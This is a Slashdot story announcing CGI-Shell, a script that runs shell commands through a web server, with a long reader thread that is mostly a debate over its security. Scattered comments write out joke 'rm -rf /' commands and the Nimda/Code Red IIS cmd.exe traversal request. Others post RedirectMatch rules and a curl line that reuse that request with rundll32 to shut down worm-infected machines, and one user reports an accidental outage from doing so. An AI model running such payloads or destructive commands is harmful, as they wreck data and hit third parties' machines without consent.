Shell Simulation Via CGI

mischi writes "CGI-Shell simulates a shell using CGI. So everybody who has a CGI-directory on a web-server, also has its own shell on it -- comparable with Telnet or SSH. That's really practical, because most webhosters don't offer a shell (for free) -- but do offer CGI. With CGI-Shell you can execute commands, copy files or just explore your webserver. Even a history and auto-completion with tabulator are included. "

Comments

Backdoors

[TheGreek]

waiting to happen. Expect to see hosting providers outlaw this quickly, if they haven't done so in their ToSes already.

Re:Backdoors

[telecaster]

the first command through your web server:

% rm -f -r /

I'll pass...

Re:Backdoors

[CaseyB]

If the users currently have the ability to FTP CGI scripts to the server and run them, then how is this is any less secure?

Re:Backdoors

[Anonymous Coward]

Not going to do much, the web server process shouldn't have write access to anything (other than logs)

Re:Backdoors

[mobiGeek]

% rm -f -r /

The only thing that should be affected by this is your own web account. If not, then you are paying your hosting service too much!

If you misconfigure this thing, or leave it lying around, or make the password guessable...well, how's this different from having a buggy CGI-script or otherwise?

Re:Backdoors

[telecaster]

On your servers and mine...

But...

I once worked on a machine that had "nobody" with write permissions.

I had to explain to the client that because the web server was working fine, that it didn't mean that the security and permissions were in tact.

The admin (a windows guy) decided that since he kept getting the "permission denied" when any web page was displayed, the best thing to do was to give "all access" permissions to "nobody".

Once again, I explained to him that unlike Windows, permissions on Linux and Unix is a bit more flexible and clearly something that shouldn't be taken lightly -- I got this glazed look, and simply fixed it all for him and told him to leave that box alone "and stick with NT".

A CGI to do shell commands. Another thing to worry about on your customer machines...
no thanks

Re:Backdoors

[sqlrob]

Once again, I explained to him that unlike Windows, permissions on Linux and Unix is a bit more flexible

WTF are you smoking? ACLs on users and groups are a hell of a lot easier to manage than the kludge that is groups.

Now, as to whether it's used *properly* by admins on Windows is another issue.

Re:Backdoors

[Anonymous Coward]

Because it allows anyone to run arbitrary code on the server. Yes! Perhaps the "permissions" can be set to forbid certain things from happening, but has that stopped a hacker?

I highly recommend against anyone setting this up on their servers. BAD IDEA!!!

GREAT! Now people will install these stupid CGI's and then we'll REALLY have an epidemic on our hands. It's bad enough having to deal with Micro$lop and their idiotic security policy.

Re:Backdoors

[Anonymous Coward]

>told him to leave that box alone "and stick with NT".

stick with NT....? you evil bastard!

well done.

Re:Backdoors

[Shishak]

With FTP the person needs to upload the script the execute it on the web server. With CGI-Shell Anyone can execute ANYTHING on the web server as the web server user (nobody). Granted you can put a .htaccess file to limit access but people tend to screw them up more often than not.

My prediction is no good can come of this.

Re:Backdoors

[ArchStanton]

It seems like it would be a fairly simple matter to incorporate GPG/PGP signatures/encryption into the communication stream. That is, if your ISP has gpg on the server. (mine does, took less than 20 seconds to confirm)

<?php
system("which gpg");
?>

Re:Backdoors

[gl4ss]

so?

the user has already the right to run serverside stuff to run this, so what's the problem?

it's not like you should as a webhoster trust the individual users of you to be competent enough to write secure cgi scripts.

i would kinda think that people would be putting passwords on their cgi-shells, otherwise they could just as well give their ftp passes on their page as well.

Re:Backdoors

[caluml]

I bet it won't be long before Nessus is programmed to look for this, and the kiddies start looking for it too. It's a nice easy back door for them to start working on local root access.

Mind you, I used to write a cgi script that did similar. /cgi-bin/cmd.cgi?cmd=ls%20/

P.S. Don't bother looking for it on the webserver in my user prefs :) Aaah, go on. What the hell.

Re:Backdoors

[JonathanX]

Agree. This is one of the most useless things I recall ever seeing. It does have a "cool factor" to it, but I can't think of any legitimate need for it other than circumventing the native restrictions on shared hosting accounts. If you want a shell that bad, get your own server.

Re:Backdoors

[Anonymous Coward]

...perhaps because a CGI script is by definition already logged in, whereas at least with FTP there is some level of authentication. Then again, most admins would be terrified at even offerring FTP, so the question is basically "if there drawbridge is down, why not knock down all the walls, drain the moat and kill the guards too?

I think I'll write a servlet to allow full SQL statements to be passed in so someone can send "DROP my_entire_company" over a web page, which won't be much worse than allowing "kill [all of my pids]" and "rm -Rf my_entire_company."

In a word: YIKES.

Re:Backdoors

[AnyoneEB]

I already use a CGI script that does this on my own server because it allows me to use the command line when my only internet access is a HTTP proxy or I can't download a SSH client onto the computer I'm on.

Re:Backdoors

[Nykon]

Nah, most likwely if the server is set up properly, it should only allow you shell-type features only where you have access to anyway. So it would not give you much more power then FTP anyway ;) but this is assuming the admin has the box set up correctly,lol

Re:Backdoors

[budgenator]

With CGI-Shell Anyone can execute ANYTHING on the web server as the web server user (nobody).

Not on my host's server, cgi programs run as my userid. If it ran as nobody who'd care; almost no permissions for anything, but running as my UID definate potential for damage if the password is guessed. Well at least to my stuff!

Re:Backdoors

[andrewski]

Too many dashes. rm -rf / works with 2 less keystrokes.

Re:Backdoors

[drive]

i'm also a UNIX user but i have to agree with some other posters that ACL's are a good thing. it's one of the MS things (yes, there aren't many) that i like.

Re:Backdoors

[wideBlueSkies]

Maybe do it like this?

% su -l
********
% rm -fr /

Re:Backdoors

[curri]

They are not an MS thing (at least not an MS-only or MS-first thing :) they were in Novell and VMS (and probably many others :) before. They are even available on Linux now !

Re:Backdoors

[Anonymous Coward]

Say your web hosting service was running a daemon with a scriptable explot (say via cron). You now can script the explot, gain root, and then do what ever you want, all from a web page. It is nothing that you can't do if you have shell access, but now you don't need shell access. Just upload your explot via ftp, then run it through the command line cgi script. This somewhat defeats the purpose of keeping one from having a shell account.

Re:Backdoors

[Anonymous Coward]

I started using ACLs back in 1993 and it wasn't on Windows. It was on UNIX (AIX). I know for a fact ACLs have been around a lot longer than that. I have been using them in Linux for a couple of years now.

Re:Backdoors

[Anonymous Coward]

It is not used properly for one simple reason. It is too hard to use. So hard that not even most admins can figure out how to do it right, where as unix permissions are so easy to use that even users can figure it out.

Re:Backdoors

[Negatyfus]

I haven't checked CGI-Shell out, but if it's well-coded, there shouldn't be much of a problem. Who knows, maybe the commands you are allowed to run can be restricted. Maybe it's not password-protected in a .htaccess way. Maybe (hopefully) it's encrypted through SSL. This definately could be done securely. One just has to be very careful that it really is.

Re:Backdoors

[BlueUnderwear]

but I can't think of any legitimate need for it other than circumventing the native restrictions on shared hosting accounts.

Logging in to your home machine from a cybercafe which is set up in such a way as to not allow telnet, nor ssh, nor java applets such as mindterm. Yes, it is foolish (who known what keystroke loggers might be installed), but it can come in handy while on travel.

Or, less legitimately: at work, when you're installing some software in production, and suddenly notice that you forgot to bring some important items that are on your development machine. It's a ten minute walk to your desktop machine, and you're already on a tight schedule, so you'd rather not go over and fetch them with a floppy or CD. You cannot access that machine remotely the normal way (ssh/telnet), because of the way the tall asshole has set up the firewall. Thus, such a cgi-bin shell can come in real handy (fortunately, the T.A. left web access enabled...).

Re:Backdoors

[Ed Avis]

It's extremely useful. I have a box where I have a shell account and some web space, but my firewall blocks ssh connections, and besides, not every PC will have an ssh client installed. Being able to go to a web page and run the occasional command would save a lot of time. OK, you couldn't run pine or emacs inside it, but it's still handy.

There is no security problem because access to the CGI script will be protected with the normal user and password mechanisms of the web server. With any half-decent Apache installation that means authenticating over an SSL connection giving your Unix username and password. If the only person who can run the script is you, then you don't really need to worry about exploits because an attacker could not execute the script unless he already had login access to your account.

What surprises me is that there aren't a dozen such CGI programs in existence already.

Re:Backdoors

[sqlrob]

OK then if it's so easy to use how do you do this?

Directory X:
Group A has read
Group B has read/write
Group C has write
Group D (not owner) can assign permissions
User Z (A member of C) needs read/write

Re:Backdoors

[Brendan Byrd]

Well, if your web host is not a moron, they would use suEXEC or CGI-Wrap, instead of using "nobody". If anything, it should use a "www" user, not "nobody", which is used by other programs.

I hate it when web hosts don't use suEXEC.

That solves a lot of problems...

[meme_police]

...but may cause the equivalent amount of security problems.

web brower

[Mordac]

I look forward to the first web brower implimented using this CGI Shell :)

Re:web brower

[Anonymous Coward]

Sorry, I have to ask. What's a "web brower"?

Re:web brower

[Winged Cat]

How about ASCII Doom? The lag would be a bitch, but at least you could honestly say you had no Doom installed on the computer you were using while playing.

security?

[simpl3x]

sorry, i am ignorant of the security implications... any comments?

Re:security?

[smerritt]

Well, most CGIs run as the user ID of the web server, so unless something like Apache's suEXEC is being used, this is no substitute for having genuine shell access.

If two or more people on a server both install this, they can read and modify each other's files, etc. since the CGIs will be running as the same user.

Re:security?

[Gudlyf]

I haven't taken a look at it myself, but my first thought is that this is no more harmful than what any one line PHP script could do. So long as the web admins aren't idiots and have things setup the right way, they should have nothing to worry about.

Re:Security?

[Oculus Habent]

It's not that ssh itself is the security issue. It's the users. With ssh access, you could do all sorts of things to bring down the server that you couldn't do from the browser.

Re:security?

[StressedEd]

So long as the web admins aren't idiots...
Heh heh he... Chortle chortle...... Evil cackle.

I expect this is a big "if".... ;-)

Re:security?

[Anonymous Coward]

sorry, i am ignorant of the security implications... any comments?

Yes, you should be working for Microsoft-- well, once you learn that it's okay to BE security-ignorant, as long as you don't ADMIT to it. :-)

Re:Security?

[jbottero]

Then, you are with a LAME web host.

Re:security?

[NivenHuH]

I'm not too familiar with CGI-Shell.. so.. take what I say lightly... Potential security problems: -Transmission of your user/pass in clear text (unless the script is ran via HTTPS) -Bad admins (there are a lot out there) run http as root.. which means root runs the cgi script. Unless the admin digs through the script to make sure it's free of exploits.. (which very few of the admins who run http as root do) it could do something like.. execute the shell as root or execute a priviledged shell (/sbin/sh on sun) -Even if http is running as it's own user, unless it's started in a chrooted jail, the script will have access to modify stuff the http user owns.. this means the http binaries, logs, etc.. I'm sure there are more things that can be exploited... I'm by far not a security expert.. I do know that reguardless of what kinda CGI script you put in place, it's always opening that much more of your box to a possible exploit.

Re:security?

[Anonymous Coward]

hello, I'm a script kiddie. I just downloaded this program from the net that scans random IPs looking for a cgi-shell script on webservers You wouldn't believe how many people with no security interest run unpatched boxes on dsl lines - and there the same folk who run webservers as root with cgi-shells so they can login from work and check on their warez downloads. Ok, well I'm off now - got a DDOS to launch.

Re:Security?

[Jason1729]

I got UFied on Thursday and my site didn't even slow down. My web host is great. Find another host for under $20/month that will handle half a gig in 6 hours without slowing down.

Anyone with an account on that server can run scripts that will chew up all the processing power and bring down everybody's sites. Since everyone on the server specifically wanted ssh access, why should the webhost be liable?

Jason
ProfQuotes

Re:security?

[DennyK]

The good news probably is that if a user has access to install this script and run it, they could install any nasty CGI exploit they wanted to already, so it probably won't make security worse on that end. The dangerous thing is that the user is basically opening another door to their user account, and a relatively insecure one at that (since the only protection is .htaccess, there's no encryption...and the script has no built-in protection at all, so if the user doesn't password protect it, it's basically a wide-open shell account).

DennyK

Re:security?

[toast0]

on my system (running debian unstable) the apache binary (/usr/sbin/apache) is owned by root and is only writable by root (why it needs to be writable, i don't know, but *shrug*), additionally the directory it is in is also only writable by root. Additionally the log directory and the logs are also only writable by root.

if i was hosting web sites for customers, I would enable suexec, so that customers' poorly secured web scripts would only damage their own stuff, and not go around screwing with the limited number of things that are writable by the www-data user (i don't think there are all that many)

There is of course the issue of php, which doesn't do the suexec thing as far as i know, but i'm sure with a lot of kicking and screaming, a solution could be aranged, or i could just not let customers run php.

Re:security?

[Moonshadow]

That's what I'm thinking. One little exec() call is just as dangerous as this thing. I wrote a "shell emulator" in PHP a while back that took a command from POST, exec'ed it, and returned the output to the user. It's not exactly as if this is anything fundamentally different. Yes, you can call system commands from the shell, people. Big deal. Years ago, I wrote a recursive file list/navigation tool that would let me navigate all the files in all the other webuser accounts on the machine. This is hardly a new problem.

Re:security?

[AnEmbodiedMind]

Not most ISP's webservers (I hope)

Any proper ISP would set up each user's cgi-bin scripts to run as that user, to insulate the customers from each other.

Re:Security?

[Anonymous Coward]

UML can address the security - heck, give em root!

I can see a use for myself since I'm behind a firewall at work that only allows http (proxied) out. It would be nice to get a shell to my home servers from work.

Re:security?

[tlund]

(. Yes. Its impossible to solve this any other way than running the CGI-script as the same UID the webserver runs as!! .)

current version: 0.17a

[old7]

Let me know when it hits 1.1 and maybe it will be safe. I only see problems with hacking right now. Old7

Security?

[amigaluvr]

Oh now this is a big risk just waiting to happen.

How much energy does a sysadmin put into stopping a system from getting shell accessed via cgi?

and now there's users coming along wanting to get it done for free? Scary stuff. Opens a whole new world of 'risk' up

ok...

[TerryAtWork]

Is this not the ultimate cracker tool you ever saw?

What were they thinking?

Re:ok...

[Gudlyf]

I don't believe this is any more harmful than a one-line PHP script. As long as the web admins have their servers setup the way they are supposed to, they have nothing to worry about. If the server this script runs on is hackable, it would've been easy to do without this tool already.

Thanx, yet another potential exploit!

[Anonymous Coward]

This just smells unsecure.

Script Kiddie Paradise

[slagdogg]

We have enough issues with hacking when the kiddies need to exploit buffer overruns to gain shell access ... this is going to make life even more fun :P

Re:Script Kiddie Paradise

[Xerithane]

We have enough issues with hacking when the kiddies need to exploit buffer overruns to gain shell access ... this is going to make life even more fun :P

Hi, my name is Security! Wait, what are you doing.. Ow! Ow! Stop, that hurts, oh some body help me please oh god it hurts make it sto...

Not to mention..

[antis0c]

Countless local exploits suddenly made available remotely..

Re:Not to mention..

[random735]

umm, presumably you'd still have to log in to the system. No worse than having telnet (or ssh) open.

WHEN WILL IT SIMULATE WINDOWS XP?

[Anonymous Coward]

So It actually does something useful? Im sick and tired of all you idiots who think a shell is better than a GUI.

Re:WHEN WILL IT SIMULATE WINDOWS XP?

[Anonymous Coward]

I guess I do not understand the moderation system here. How does one get Score: 0, Funny?

Re:WHEN WILL IT SIMULATE WINDOWS XP?

[Black Copter Control]

if you click on the "(#5217998)" in the header, you'll see that it has 50% flaimbait, 50% moderator (personally, I'd prefer the old absolute count method). This implies 1 flaimbait moderation followed by 1 funny moderation... Net moderation: 0

Since the 'funny' came last, it wins as the 'official' explanation.

Doesn't IIS Already Have This?

[Aix]

GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+ dir

Someone always seems to be trying to run shell commands on my Apache server. I wish they would realize that Apache doesn't have this "shell" feature.

Seriously, though, this is the most hideously insecure thing I have ever heard of.

Re:Doesn't IIS Already Have This?

[Gudlyf]

Put this in your .htaccess file and you might get lucky and give them a taste of their own medicine:

RedirectMatch permanent (.*)c+dir http://127.0.0.1/scripts/..%255c..%255cwinnt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201

Re:Doesn't IIS Already Have This?

[CaseyB]

Seriously, though, this is the most hideously insecure thing I have ever heard of.

You don't get out much. This is exactly (and only) as insecure as any other arbitrary CGI script that they might write and run.

If the CGI environment is properly chrooted, this is a perfectly safe tool.

Re:Doesn't IIS Already Have This?

[Doppler00]

Actually I'm pretty sure this from a NIMBDA virus or some other variant. I was really paranoid at first when I set up my apache server because lines like that were pretty much the only thing I saw in the access logs. Now that I know what it is I'm not too worried. I wish ISP's would do more to inform their customers that they have viruses on their systems, but imagine how that would go?

Re:Doesn't IIS Already Have This?

[Doppler00]

Does that really work? Is there a way you could make it pop-up a message that says "Your system has a virus" or something like that? That's usually the cause.

Re:Doesn't IIS Already Have This?

[hawkbug]

That's cool and all... but what exactly does it do? Before I stick in my httpd.conf file, I'd like to know what it does...

Re:Doesn't IIS Already Have This?

[jericho4.0]

Seeing as the computer causing the log entries in the first place is almost certainly compromised itself, this is probably not a good idea.

Fun though, thanks.

Re:Doesn't IIS Already Have This?

[Anonymous Coward]

Yes, you can run a rundll that opens a msgdialog, however, I'm not sure it really works, has anyone tried it? Where should the .htaccess be, in htdocs/scripts/ ???

Re:Doesn't IIS Already Have This?

[Q2Serpent]

Oh man, that's awesome. Kudos.

It just redirects the client making the request to try and load the given page from the local machine. Assuming that the client making the request (the worm) understands redirections, that line makes it attempt to load 127.0.0.1 (the local IIS server that the worm infected) with a URL that will exploit the local worm (hehe) and use rundll32 to shut down the client's windows machine.

If it works, it's brilliant. I'm not sure the worm reads redirects, though. Anyone actually witness this working?

Re:Doesn't IIS Already Have This?

[YetAnotherDave]

nope, sorry, I have yet to see a work that honors redirects...

would be nice, tho

Re:Doesn't IIS Already Have This?

[Anonymous Coward]

oh the humanity.

Re:Doesn't IIS Already Have This?

[nutznboltz]

Then redirects aren't the way to go. A server that specifically responds to worm requests with an attempt to shutdown the infected machine is much more plausable.

Re:Doesn't IIS Already Have This?

[nutznboltz]

Or better yet what if your 404 page was PHP which sent out the shutdown request.

Re:Doesn't IIS Already Have This?

[langed]

As I recall, this was covered here on /. before, under vigilantism, relating to Code Red.

Yeah it works--I got some pretty upset phone calls last year at my university, when my box had shut down an NT "corridor" machine to the scripted, dynamic "student accounts pages"... They pulled my internet connection for 3 days (it happened over a weekend) with an order to fix it before they restored my connection.

They also threatened to bill me for their damages--an estimated $700. (I have no idea where they dreamed up that number.)

I'm just too lazy to go find a link--there has been declared today a "low brain activity advisory" by the National Weather Service. :)

Re:Doesn't IIS Already Have This?

[Anonymous Coward]

Tell them your system was running M$ and it must have been infected with some sort of virus.

Re:Doesn't IIS Already Have This?

[ebonkyre]

Our 404 generates a normal file not found message unless the requested page was "default.ida" or one of the other IIS exploits, in which case it sends:

Content-type: text/plain

Hi! How are you?
I send you this file in order to have your advice
See you later. Thanks

Sadly, I'm not aware of any virii that would actually get the joke...

Re:Doesn't IIS Already Have This?

[Anonymous Coward]

It should run

curl http://$HISADDR/scripts/..%255c..%255cwinnt/system 32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWindo wsEx%201

Re:Doesn't IIS Already Have This?

[flonker]

I wrote something that does this (win32 only) way back when. Here it is, complete with source code. It doesn't do much anymore, as the security holes exploited by the worms have by and large been patched, without removing the worm.

Re:Doesn't IIS Already Have This?

[Gudlyf]

Seeing as the computer causing the log entries in the first place is almost certainly compromised itself, this is probably not a good idea.

Even more reason to shut the system down.

Re:Doesn't IIS Already Have This?

[corvi42]

How's about this one:

RedirectMatch permanent (.*)c+dir http://www.microsoft.com/scripts/..%255c..%255cwin nt/syste m32/cmd.exe?/c+rundll32.exe+shell32.dll,SHExitWind owsEx%201

Re:Doesn't IIS Already Have This?

[z0om]

I put this in my httpd.conf:

Redirect /MSADC http://www.microsoft.com/linux
Redirect /c http://www.microsoft.com/linux
Redirect /d http://www.microsoft.com/linux
Redirect /_mem_bin http://microsoft.com/linux
Redirect /msadc http://microsoft.com/linux
Redirect /default.ida http://www.microsoft.com/linux
Redirect /_vti_bin http://www.microsoft.com/linux
Redirect /scripts http://www.microsoft.com/linux

Having more occurrences of "linux" in their weblogs was funny to me.

Sl0w

[SparafucileMan]

Isn't this too slow of a shell to be useful except for, say, exploiting for backdoors? I mean hell you might as well be running a shell with the Doom3 engine.

Re:Sl0w

[shoppa]

Isn't this too slow of a shell to be useful

The overhead of invoking a CGI script in in the ballpark of a tenth of a second on a oldish PII-based server. It's much much less if Apache is built with mod_perl. Can you type a command line in less than a tenth of a second? If not, you won't notice.

Security, yes, that's an issue. Speed isn't.

Re:Sl0w

[einhverfr]

Isn't this too slow of a shell to be useful except for, say, exploiting for backdoors? I mean hell you might as well be running a shell with the Doom3 engine.

Yes, and I want 3000 simultaneous connections to my CGI-Shell

Surprised...

[unborracho]

I'm surprised we haven't seen this come out earlier.. it's always been practical to do, given most free ISPs offer a directory that's flagged executable.

Kudos to these guys who developed this, but I hate to see how this is going to be exploited

Re:Surprised...

[Hanno]

I'm surprised we haven't seen this come out earlier..

I'm surprised this is considered news, since it's an age-old idea.

Friends of mine once used a cheapo ISP who did not offer shell access, but who made the mistake of running Apache with root priviledges. They used a similar script years ago to do remote administration of their site on that mis-configured server. They never exploited the security hole, but they always thought it was funny that they had a "limited web account" yet full access to everything on the server.

Is CGI-Shell secure?

[Anonymous Coward]

Sounds great, but this part scares me. Is CGI-Shell secure? At the moment, CGI-Shell is more like Telnet than like SSH. The password-protection is realised with htaccess - so username and password fly without encryption through the web. Also all other communication between you and the web-server not encrypted right now. But I will change this soon.

Re:Is CGI-Shell secure?

[NivenHuH]

Ah.. this is all true for HTTP.. but you could be running everything through HTTPS (which is all encrypted.. including .htaccess)

Simulation?

[SirTwitchALot]

This doesn't sound like a shell simulation to me, this sounds like another interface to an actual shell. I doubt your hosting company would be very pleased if you installed this.

Shell whores.

[termos]

There is lots of there shell-whores on different IRC networks that is always out after somewhere to run their eggdrop bots. I wonder if this CGI invention will have any impact on that, and maybe some webserver will have to "fix" this in some way.
I am not quite sure, but i would not like if anyone were running a program on my server that was intended for web hosting.

Re:Shell whores.

[WetCat]

Just curious: what is the eggdrop bot?

Re:Shell whores.

[The Bungi]

what is the eggdrop bot

I'm no 1337 geek, but it sounds like breakfast to me. Maybe it has something to do with the Slashdot omelette?

Re:Shell whores.

[Dave2 Wickham]

It's an IRC bot - see the official site...

Re:Shell whores.

[MindStalker]

An IRC bot is a program that connects to irc and sometimes pretends to be a real person and sometimes not, but most importantly it keeps channels you create open, and gives you and others ops once you join. They can also do a host of other task, eggdrop is a specific bot, I personally don't know what all it can do but its pretty big from what I've heard.

Re:Shell whores.

[Chaswell]

Oldest IRC channel control bot. The bot logs in, sits in a channel and manages ownership of the channel and protects the channel from take over. A bot of some sort is pretty important if some one plans to run a large channel for any length of time.

You can get more info here.

Re:Shell whores.

[Ancil]

..but i would not like if anyone were running a program on my server that was intended for web hosting

But if you gave them access to a CGI directory, that's already happening.

Re:Shell whores.

[Anonymous Cow herd]

Oldest IRC channel control bot

Son, you're on crack, eggdrop is a freakin' newbie bot... there were alot of other bots around LONG before eggdrop... Vladbots predate eggdrops by a couple of years. Learn yer damned history!</grumpy-old-fart>

Re:Shell whores.

[Luyseyal]

What's a channel "take over"? Seriously. I don't use IRC, so I'm curious.

-l

Re:Shell whores.

[vadim_t]

In IRC channels have operators. If you join an inexistent channel you'll become an operator in it automatically. If all the people exit from it the channel will disappear.

So to gain control of a channel you can sit in it until everybody leaves, exit, enter again, and use your op privileges to ban everybody you don't like from the channel. Perhaps you will bring a bot to sit there and make sure nobody will be able to do the same to you.

Bots can have other functions too, like notifying people of events, recording quotes, organizing games and gathering statistics.

Re:Shell whores.

[Chaswell]

I apologize. I myself am old, but did not speak from experience. I was quoting the eggheads website:

"Some benefits of Eggdrop: [...]The oldest IRC bot still in active development (Eggdrop was created in 1993)" - eggheads.org

That will teach me to take a web site at its word

Re:Shell whores.

[Anonymous Cow herd]

Ahh, but what they said is different from what you said. You said it's the oldest IRC bot, they're saying it's the oldest IRC bot still in active development, which may be true. The bots I mentioned haven't been in active development for a long time. (afaik)

Achtung!

[The Bungi]

Dieses projekten looken a bitt flaken. Das back-dooren nicht poof?

Relax und watch das blinken cursor.

Re:Achtung!

[Anonymous Coward]

Bist Du das flaken Arschenlochen? Das mit dem Back-dooren Projekten gehen poof?

UID issues

[Ryu2]

Most webserver setups run under a non-priveleged UID of 'nobody' or the like... which means that normally, the web server user would not be able to access files owned by YOUR own UID. Would there be some sort of set-UID involved here?

Re:UID issues

[Oculus Habent]

you might be able to su to your user - not sure about the details, though.

Re:UID issues

[supun]

Most web hosting companies, that use Apache, use "SUEXEC". This allows you to set a different user and group for a virtual host. So the any files written to disk, with in the allowed "SUEXEC" directory/location will have the user's UID and GID.

Re:UID issues

[AnEmbodiedMind]

The general webserver stuff runs as nobody, but the CGI-Scripts will often run as the customers uid - It can be configured this way anyway...

security

[skymester]

this thing makes a webserver not less secure than without this thing, although this shoulnt be installed just for fun by somebody who hasnt got a clue

you really want to use it via https, if thats not yet implemented in the client they should do it

nice idea

Re:security

[Anonymous Coward]

> this thing makes a webserver not less secure than without this thing

Exactly. At least for the sysadmins. This is no different than a user writing a bash script sending it up via ftp and running it. Just more convenient.

Problem is when someone other than the webadmin finds out it is installed. Best thing to do is limit it via IP addr.

Re:security

[skymester]

Yes, but only if some idiot installs it and doesnt protect it via htaccess and password

yes...

[intermodal]

God forbid ISPs actually have to secure their servers, and require that users not cause them to become insecure...how barbaric

What it does

[Bisifiniti]

This only EMULATES a shell. So it'd be very convenient to people more accustomed to a command line interface. Therefore, you can easily code it to check as to what it can and can't do (and combined with .htaccess, it should be secure).

would you like root acct with that?

[stonebeat.org]

might as well give you root.

Re:would you like root acct with that?

[theefer]

I guess (hope) not, it runs as a CGI, thus the shell should be run as the user running the webserver, hopefully not root.

This sounds like a nice voluntary security hole to me anyway.

Re:would you like root acct with that?

[shoppa]

It's not quite that bad, if you're running Apache either chroot'ed or as 'nobody:nogroup'. Even then, all they need is a small hole in the armor of some other server (sshd? sendmail? gack!) to knock that out or trojan it.

Re:would you like root acct with that?

[Ballsy]

Yeah...root....cuz the user 'nobody' can easily gain access to that. Or if the webserver is using suExec, the user account more than likely has access to just su - without any problem. Riiiight...

CGI-shell

[LoneWlf]

Yeah, um unsecure as all get out. This can't be truly what was intented... CGI-shell, sounds like a problem to me... really people running a server would never install this. Its a basic security issue waiting to happen... there are definately better ways to get to a shell, this not among the best ones.

LW

Give me a break

[Anonymous Coward]

This is such old news, these types of CGIs have been around a while. And for those worried about the security of this - give me a break. All CGIs are potentially dangerous. Just because this one happens to offer an interface that's familiar doesn't make it more dangerous than a CGI with a hidden back door or security hole.

Security

[NivenHuH]

Hmm.. I wonder how many people out there run their web servers as root, blindly install cgi scripts that people ask them to install, and will let one slip by that has their default shell has /sbin/sh (on a sun box).. >=)

Security?

[Jason1729]

How secure is this? My web host gave me ssh access, but they put my account on a separate server (with all the users who want ssh), and they warned me that they won't honor their uptime guarantee because having ssh reduces the security of the server. It seems like ssh would be a lot more secure than this script.

Jason
ProfQuotes

I've used something exatly like this for months

[stratjakt]

I use it to add ipfwd lines to an internal router box around here. Runs in cgi under apache, lets me type sh commands and see the output.

This is just a new version of an old product, and has the same major problem: "applications interacting with the user (those that ask for input from the user), e.g. passwd are still a problem. "

So it's good for doing a chmod or ipfwd line, but you cant run vi or the like.

How hard would it be to get full terminal emulation through a browser applet?

Re:I've used something exatly like this for months

[acroyear]

Doesn't need to run vi. An experienced Unix user (with a malicious streak) could easily come up with some sed and awk to muck around with just about anything... keep in mind, if a file can be read by "anybody" (/etc/passwd is one of these), it can be read (via /bin/cat) by "nobody". No they can't get passwords, but it allows them to get the list of users on the box and quickly reduce the # of options when it comes to running passwd dictionary scripts for login attempts.

Re:I've used something exatly like this for months

[Christianfreak]

Apparently not very hard.

We run this on a server that a group of people I'm associated run. Works extremely well if you're on a box that doesn't have an ssh client installed.

Re:I've used something exatly like this for months

[stratjakt]

What I use has a list of commands it's allowed to run.

So you could limit it to ls, rm, mv, and cp with the users security level.

All it does is shell commands and pipe stdout back onto the form.

It's such a trivial script I'm surprised its newsworthy even by /.'s low standards.

Re:I've used something exatly like this for months

[sql*kitten]

Doesn't need to run vi. An experienced Unix user (with a malicious streak) could easily come up with some sed and awk to muck around with just about anything... keep in mind, if a file can be read by "anybody" (/etc/passwd is one of these), it can be read (via /bin/cat) by "nobody". No they can't get passwords, but it allows them to get the list of users on the box and quickly reduce the # of options when it comes to running passwd dictionary scripts for login attempts.

Oh yeah. You can upload a CGI script to start an xterm running on the web server displaying on your own workstation. Most people don't block outbound connections on their firewall, and the X11 connection is initiated from within. Nothing's tcp_wrapper'd from localhost, so now you can r00t fingerd, or one of the CDE daemons. You got 5 minutes to do as you please before the CGI times out and the httpd kills you.

This is a cracking tool, plain and simple. I don't understand why Slashdot is promoting it as the greatest thing since sliced bread.

Re:I've used something exatly like this for months

[jonathanbearak]

a java applet that does exactly that comes with webmin/usermin, so does something like this cgi shell thing

Re:I've used something exatly like this for months

[Anonymous Coward]

It does nothing that you couldn't do before. Before you would just put your xterm command in public_html/cgi-bin/fun.cgi, and direct your browser to that script.

You need to research this story.

[Googol]

Look at the code.

I mean really...

[AssFace]

I see no way at all this could *ever* lead to any sercurity issues.
things connected to the internet rarely have any real problems with people abusing them, so I don't think this will have any issues at all.

and besides, shells don't let you do much anyways.

Re:I mean really...

[stratjakt]

It's not really a shell.

It's a form that has a text box. You type in "ls ~/" in the text box, hit enter, the cgi script checks to see if it can execute ls, if so, it shell()'s the command, and pipes the output back to the web page.

Its pretty easy to make it as secure as you want.

If you let it run as root and issue any command under the sun, then its a problem. If you let a user just manage the files in his own home directory, it's as secure (even more so) than telnet/ssh access.

funny

[Boromir son of Faram]

I see all these people already complaining about how this is a security risk, because they have this idea that shell == danger and they see the word "shell."

News flash, guys, this is still just a CGI script, meaning it will be run by an unprivelaged user. You won't be able to do anything with this that you couldn't have done with a CGI script before, and it's no more susceptible to being hacked than any other CGI script. Sure there's a security risk, but any time you let clients execute server code you're putting yourself out there. Now chill out.

A CGI shell simulation could save our people, if we use it with wisdom.

Re:funny

[The Bungi]

Is there a new troll sweepstakes whereupon one attempts to build a kind of demented haiku in one's posting history?

It's either that or you need to work on your post titles, Boromir.

Re:funny

[leviramsey]

It's just old friend tps12 (look at the posting style...).

What's the use?

[stevejsmith]

But what can you do with CGI-emulated shell that you can't do with a simple FTP client? If the host bans you from shell access, wouldn't they also ban you from all CGI commands that could do anything that you could potentially do with a shell? And I belive that most TOS strictly forbid this (for no reason other than bandwidth and CPU cycles, because I'd imagine they would have already blocked most naughty things). Besides the "Holy shit, I'm l33t, I'm using a keyboard!" factor, why not just use a fucking FTP client to do chmod and copy files?

Re:What's the use?

[caluml]

Why don't webhosters allow SSH, no FTP or telnet, but pre-patch their servers with LIDS?
Oh and don't allow outgoing packets that aren't part of the reply to either incoming 22, 80, and 443.

Notice that...

[Anonymous Coward]

...he doesn't allow cgi-shell running on the same documentation and download site for the program. Not willing to eat one's own dogfood, or just doesn't smell like chicken?

may be useful

[kidlinux]

This would be useful on my server and desktop, when trying to access a shell from my university's computer labs. They essentially block everything to the internet but http traffic.

Seeing as how I use my boxen as my development environment, it would be nice to be able to retrieve my assignments from my computer, while in the lab. It'd also be nice to be able to do my assignments on my box while in the lab, but it seems to me that I'd be reloading the page a lot which would become cumbersome.

I had emailed the network admin about this, and his reply was that he had no idea what I was talking about. Which may be good, or may be bad, when I go to talk to him about it.

In the mean time (or if outward ssh access is never granted) this might prove to be a half decent solution.

To Paraphrase Jurrassic Park...

[MidKnight]

... some developer got so excited about what they can do, they forgot to think about if they should.

Just imaging Jeff Goldblum doing his bug-eyed, the-sky-is-falling scientist bit :)

--Mid

